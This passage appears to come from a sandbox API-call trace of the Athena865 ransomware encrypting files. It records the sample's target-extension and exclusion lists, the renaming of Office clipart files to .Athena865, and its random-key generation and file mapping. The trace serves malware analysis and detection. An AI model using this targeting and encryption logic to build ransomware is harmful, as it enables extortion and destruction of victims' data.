(lpString1="WMF", lpString2="fpt") returned 1 [0129.367] lstrlenW (lpString="frm") returned 3 [0129.367] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0129.367] lstrlenW (lpString="gdb") returned 3 [0129.367] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.367] lstrlenW (lpString="gdb") returned 3 [0129.367] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0129.367] lstrlenW (lpString="grdb") returned 4 [0129.367] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0129.367] lstrlenW (lpString="gwi") returned 3 [0129.367] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0129.367] lstrlenW (lpString="hdb") returned 3 [0129.367] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0129.368] lstrlenW (lpString="his") returned 3 [0129.368] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0129.368] lstrlenW (lpString="ib") returned 2 [0129.368] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0129.368] lstrlenW (lpString="idb") returned 3 [0129.368] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0129.368] lstrlenW (lpString="ihx") returned 3 [0129.368] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0129.368] lstrlenW (lpString="itdb") returned 4 [0129.368] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0129.368] lstrlenW (lpString="itw") returned 3 [0129.368] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0129.368] lstrlenW (lpString="jet") returned 3 [0129.368] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0129.368] lstrlenW (lpString="jtx") returned 3 [0129.368] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0129.368] lstrlenW (lpString="kdb") returned 3 [0129.368] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0129.368] lstrlenW (lpString="kexi") returned 4 [0129.368] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0129.368] lstrlenW (lpString="kexic") returned 5 [0129.368] lstrcmpiW (lpString1="8.WMF", lpString2="kexic") returned -1 [0129.368] lstrlenW (lpString="kexis") returned 5 [0129.368] lstrcmpiW (lpString1="8.WMF", lpString2="kexis") returned -1 [0129.368] lstrlenW (lpString="lgc") returned 3 [0129.368] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0129.369] lstrlenW (lpString="lwx") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0129.369] lstrlenW (lpString="maf") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0129.369] lstrlenW (lpString="maq") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0129.369] lstrlenW (lpString="mar") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0129.369] lstrlenW (lpString="marshal") returned 7 [0129.369] lstrcmpiW (lpString1="008.WMF", lpString2="marshal") returned -1 [0129.369] lstrlenW (lpString="mas") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0129.369] lstrlenW (lpString="mav") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0129.369] lstrlenW (lpString="maw") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0129.369] lstrlenW (lpString="mdbhtml") returned 7 [0129.369] lstrcmpiW (lpString1="008.WMF", lpString2="mdbhtml") returned -1 [0129.369] lstrlenW (lpString="mdn") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0129.369] lstrlenW (lpString="mdt") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0129.369] lstrlenW (lpString="mfd") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0129.369] lstrlenW (lpString="mpd") returned 3 [0129.369] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0129.369] lstrlenW (lpString="mrg") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0129.370] lstrlenW (lpString="mud") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0129.370] lstrlenW (lpString="mwb") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0129.370] lstrlenW (lpString="myd") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0129.370] lstrlenW (lpString="ndf") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0129.370] lstrlenW (lpString="nnt") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0129.370] lstrlenW (lpString="nrmlib") returned 6 [0129.370] lstrcmpiW (lpString1="08.WMF", lpString2="nrmlib") returned -1 [0129.370] lstrlenW (lpString="ns2") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0129.370] lstrlenW (lpString="ns3") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0129.370] lstrlenW (lpString="ns4") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0129.370] lstrlenW (lpString="nsf") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0129.370] lstrlenW (lpString="nv") returned 2 [0129.370] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0129.370] lstrlenW (lpString="nv2") returned 3 [0129.370] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0129.370] lstrlenW (lpString="nwdb") returned 4 [0129.370] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0129.371] lstrlenW (lpString="nyf") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0129.371] lstrlenW (lpString="odb") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.371] lstrlenW (lpString="odb") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0129.371] lstrlenW (lpString="oqy") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0129.371] lstrlenW (lpString="ora") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0129.371] lstrlenW (lpString="orx") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0129.371] lstrlenW (lpString="owc") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0129.371] lstrlenW (lpString="p96") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0129.371] lstrlenW (lpString="p97") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0129.371] lstrlenW (lpString="pan") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0129.371] lstrlenW (lpString="pdb") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0129.371] lstrlenW (lpString="pdm") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0129.371] lstrlenW (lpString="pnz") returned 3 [0129.371] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0129.371] lstrlenW (lpString="qry") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0129.372] lstrlenW (lpString="qvd") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0129.372] lstrlenW (lpString="rbf") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0129.372] lstrlenW (lpString="rctd") returned 4 [0129.372] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0129.372] lstrlenW (lpString="rod") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0129.372] lstrlenW (lpString="rodx") returned 4 [0129.372] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0129.372] lstrlenW (lpString="rpd") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0129.372] lstrlenW (lpString="rsd") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0129.372] lstrlenW (lpString="sas7bdat") returned 8 [0129.372] lstrcmpiW (lpString1="1008.WMF", lpString2="sas7bdat") returned -1 [0129.372] lstrlenW (lpString="sbf") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0129.372] lstrlenW (lpString="scx") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0129.372] lstrlenW (lpString="sdb") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0129.372] lstrlenW (lpString="sdc") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0129.372] lstrlenW (lpString="sdf") returned 3 [0129.372] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0129.373] lstrlenW (lpString="sis") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0129.373] lstrlenW (lpString="spq") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0129.373] lstrlenW (lpString="te") returned 2 [0129.373] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0129.373] lstrlenW (lpString="teacher") returned 7 [0129.373] lstrcmpiW (lpString1="008.WMF", lpString2="teacher") returned -1 [0129.373] lstrlenW (lpString="tmd") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0129.373] lstrlenW (lpString="tps") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0129.373] lstrlenW (lpString="trc") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.373] lstrlenW (lpString="trc") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0129.373] lstrlenW (lpString="trm") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0129.373] lstrlenW (lpString="udb") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0129.373] lstrlenW (lpString="udl") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0129.373] lstrlenW (lpString="usr") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0129.373] lstrlenW (lpString="v12") returned 3 [0129.373] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0129.373] lstrlenW (lpString="vis") returned 3 [0129.374] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0129.374] lstrlenW (lpString="vpd") returned 3 [0129.374] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0129.374] lstrlenW (lpString="vvv") returned 3 [0129.374] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0129.374] lstrlenW (lpString="wdb") returned 3 [0129.374] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0129.374] lstrlenW (lpString="wmdb") returned 4 [0129.374] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0129.374] lstrlenW (lpString="wrk") returned 3 [0129.374] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0129.374] lstrlenW (lpString="xdb") returned 3 [0129.374] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0129.374] lstrlenW (lpString="xld") returned 3 [0129.374] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0129.374] lstrlenW (lpString="xmlff") returned 5 [0129.374] lstrcmpiW (lpString1="8.WMF", lpString2="xmlff") returned -1 [0129.374] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.Athena865") returned 73 [0129.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.athena865"), dwFlags=0x1) returned 1 [0129.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.376] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38084) returned 1 [0129.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.376] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.376] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.377] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.377] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.377] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x97d0, lpName=0x0) returned 0x154 [0129.381] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x97d0) returned 0x100000 [0129.384] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0129.385] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0129.385] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0129.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0129.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0129.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0129.385] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0129.385] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0129.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0129.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0129.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0129.386] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0129.386] CloseHandle (hObject=0x154) returned 1 [0129.386] CloseHandle (hObject=0x17c) returned 1 [0129.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0129.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0129.386] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0129.387] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2=".") returned 1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="..") returned 1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="windows") returned -1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="bootmgr") returned 1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="temp") returned -1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="pagefile.sys") returned -1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="boot") returned 1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="ids.txt") returned 1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="ntuser.dat") returned -1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="perflogs") returned -1 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2="MSBuild") returned -1 [0129.387] lstrlenW (lpString="J0281243.WMF") returned 12 [0129.387] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0281243.WMF" | out: lpString1="J0281243.WMF") returned="J0281243.WMF" [0129.387] lstrlenW (lpString="J0281243.WMF") returned 12 [0129.387] lstrlenW (lpString="Athena865") returned 9 [0129.387] lstrcmpiW (lpString1="81243.WMF", lpString2="Athena865") returned -1 [0129.387] lstrlenW (lpString=".dll") returned 4 [0129.387] lstrcmpiW (lpString1="J0281243.WMF", lpString2=".dll") returned 1 [0129.388] lstrlenW (lpString=".lnk") returned 4 [0129.388] lstrcmpiW (lpString1="J0281243.WMF", lpString2=".lnk") returned 1 [0129.388] lstrlenW (lpString=".ini") returned 4 [0129.388] lstrcmpiW (lpString1="J0281243.WMF", lpString2=".ini") returned 1 [0129.388] lstrlenW (lpString=".sys") returned 4 [0129.388] lstrcmpiW (lpString1="J0281243.WMF", lpString2=".sys") returned 1 [0129.388] lstrlenW (lpString="J0281243.WMF") returned 12 [0129.388] lstrlenW (lpString="bak") returned 3 [0129.388] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0129.388] lstrlenW (lpString="ba_") returned 3 [0129.388] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0129.388] lstrlenW (lpString="dbb") returned 3 [0129.388] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0129.388] lstrlenW (lpString="vmdk") returned 4 [0129.388] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0129.388] lstrlenW (lpString="rar") returned 3 [0129.388] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0129.388] lstrlenW (lpString="zip") returned 3 [0129.388] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0129.388] lstrlenW (lpString="tgz") returned 3 [0129.388] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0129.388] lstrlenW (lpString="vbox") returned 4 [0129.388] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0129.388] lstrlenW (lpString="vdi") returned 3 [0129.388] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0129.388] lstrlenW (lpString="vhd") returned 3 [0129.389] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0129.389] lstrlenW (lpString="vhdx") returned 4 [0129.389] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0129.389] lstrlenW (lpString="avhd") returned 4 [0129.389] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0129.389] lstrlenW (lpString="db") returned 2 [0129.389] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0129.389] lstrlenW (lpString="db2") returned 3 [0129.389] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0129.389] lstrlenW (lpString="db3") returned 3 [0129.389] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0129.389] lstrlenW (lpString="dbf") returned 3 [0129.389] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0129.389] lstrlenW (lpString="mdf") returned 3 [0129.389] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0129.389] lstrlenW (lpString="mdb") returned 3 [0129.389] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0129.389] lstrlenW (lpString="sql") returned 3 [0129.389] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0129.389] lstrlenW (lpString="sqlite") returned 6 [0129.389] lstrcmpiW (lpString1="43.WMF", lpString2="sqlite") returned -1 [0129.389] lstrlenW (lpString="sqlite3") returned 7 [0129.389] lstrcmpiW (lpString1="243.WMF", lpString2="sqlite3") returned -1 [0129.389] lstrlenW (lpString="sqlitedb") returned 8 [0129.389] lstrcmpiW (lpString1="1243.WMF", lpString2="sqlitedb") returned -1 [0129.389] lstrlenW (lpString="xml") returned 3 [0129.389] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0129.390] lstrlenW (lpString="$er") returned 3 [0129.390] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0129.390] lstrlenW (lpString="4dd") returned 3 [0129.390] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0129.390] lstrlenW (lpString="4dl") returned 3 [0129.390] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0129.390] lstrlenW (lpString="^^^") returned 3 [0129.390] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0129.390] lstrlenW (lpString="abs") returned 3 [0129.390] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0129.390] lstrlenW (lpString="abx") returned 3 [0129.390] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0129.390] lstrlenW (lpString="accdb") returned 5 [0129.390] lstrcmpiW (lpString1="3.WMF", lpString2="accdb") returned -1 [0129.390] lstrlenW (lpString="accdc") returned 5 [0129.390] lstrcmpiW (lpString1="3.WMF", lpString2="accdc") returned -1 [0129.390] lstrlenW (lpString="accde") returned 5 [0129.390] lstrcmpiW (lpString1="3.WMF", lpString2="accde") returned -1 [0129.390] lstrlenW (lpString="accdr") returned 5 [0129.390] lstrcmpiW (lpString1="3.WMF", lpString2="accdr") returned -1 [0129.390] lstrlenW (lpString="accdt") returned 5 [0129.390] lstrcmpiW (lpString1="3.WMF", lpString2="accdt") returned -1 [0129.390] lstrlenW (lpString="accdw") returned 5 [0129.390] lstrcmpiW (lpString1="3.WMF", lpString2="accdw") returned -1 [0129.390] lstrlenW (lpString="accft") returned 5 [0129.390] lstrcmpiW (lpString1="3.WMF", lpString2="accft") returned -1 [0129.390] lstrlenW (lpString="adb") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.391] lstrlenW (lpString="adb") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0129.391] lstrlenW (lpString="ade") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0129.391] lstrlenW (lpString="adf") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0129.391] lstrlenW (lpString="adn") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0129.391] lstrlenW (lpString="adp") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0129.391] lstrlenW (lpString="alf") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0129.391] lstrlenW (lpString="ask") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0129.391] lstrlenW (lpString="btr") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0129.391] lstrlenW (lpString="cat") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0129.391] lstrlenW (lpString="cdb") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0129.391] lstrlenW (lpString="ckp") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0129.391] lstrlenW (lpString="cma") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0129.391] lstrlenW (lpString="cpd") returned 3 [0129.391] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0129.392] lstrlenW (lpString="dacpac") returned 6 [0129.392] lstrcmpiW (lpString1="43.WMF", lpString2="dacpac") returned -1 [0129.392] lstrlenW (lpString="dad") returned 3 [0129.392] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0129.392] lstrlenW (lpString="dadiagrams") returned 10 [0129.392] lstrcmpiW (lpString1="281243.WMF", lpString2="dadiagrams") returned -1 [0129.392] lstrlenW (lpString="daschema") returned 8 [0129.392] lstrcmpiW (lpString1="1243.WMF", lpString2="daschema") returned -1 [0129.392] lstrlenW (lpString="db-journal") returned 10 [0129.392] lstrcmpiW (lpString1="281243.WMF", lpString2="db-journal") returned -1 [0129.392] lstrlenW (lpString="db-shm") returned 6 [0129.392] lstrcmpiW (lpString1="43.WMF", lpString2="db-shm") returned -1 [0129.392] lstrlenW (lpString="db-wal") returned 6 [0129.392] lstrcmpiW (lpString1="43.WMF", lpString2="db-wal") returned -1 [0129.392] lstrlenW (lpString="dbc") returned 3 [0129.392] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0129.392] lstrlenW (lpString="dbs") returned 3 [0129.392] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0129.392] lstrlenW (lpString="dbt") returned 3 [0129.392] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0129.392] lstrlenW (lpString="dbv") returned 3 [0129.392] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0129.392] lstrlenW (lpString="dbx") returned 3 [0129.392] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0129.392] lstrlenW (lpString="dcb") returned 3 [0129.392] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0129.393] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0129.393] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.Athena865") returned 73 [0129.393] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.athena865"), dwFlags=0x1) returned 1 [0129.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0129.394] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46516) returned 1 [0129.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0129.394] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0129.395] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0129.395] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0129.395] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0129.395] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0129.396] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb8c0, lpName=0x0) returned 0x154 [0129.398] MapViewOfFile (hFileMappingObject=0x154, 